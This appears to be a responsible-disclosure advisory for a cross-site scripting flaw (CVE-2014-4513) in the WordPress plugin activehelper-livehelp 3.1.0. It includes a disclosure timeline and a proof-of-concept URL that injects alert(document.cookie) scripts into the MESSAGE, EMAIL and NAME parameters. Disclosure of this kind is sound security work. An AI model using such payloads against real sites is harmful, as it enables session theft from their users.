wp-plugin : activehelper-livehelp | Code Vigilant : to err is human.. To fix is Humanity

Wp Plugin Activehelper Livehelp

Plugin Details

Plugin Name: wp-plugin : activehelper-livehelp

Effected Version : 3.1.0 (and most probably lower version's if any)

Vulnerability : Cross-Site Scripting (XSS)

Minimum Level of Access Required : Unauthenticated

CVE Number : CVE-2014-4513

Identified by : Prajalkulkarni

WPScan Reference URL

Disclosure Timeline

January 21, 2014: Vendor Contacted
February 10, 2014 : Plugin Updated
May 28, 2014 : Public Disclosure

Technical Details

http://127.0.0.1/wp-content/plugins/activehelper-livehelp/server/offline.php?MESSAGE=MESSAGE%22%3E%3C/textarea%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&DOMAINID=DOMAINID&COMPLETE=COMPLETE&TITLE=TITLE&URL=URL&COMPANY=COMPANY&SERVER=SERVER&PHONE=PHONE&SECURITY=SECURITY&BCC=BCC&EMAIL=EMAIL%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&NAME=NAME%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&

Vulnerable Parameters : MESSAGE, EMAIL, NAME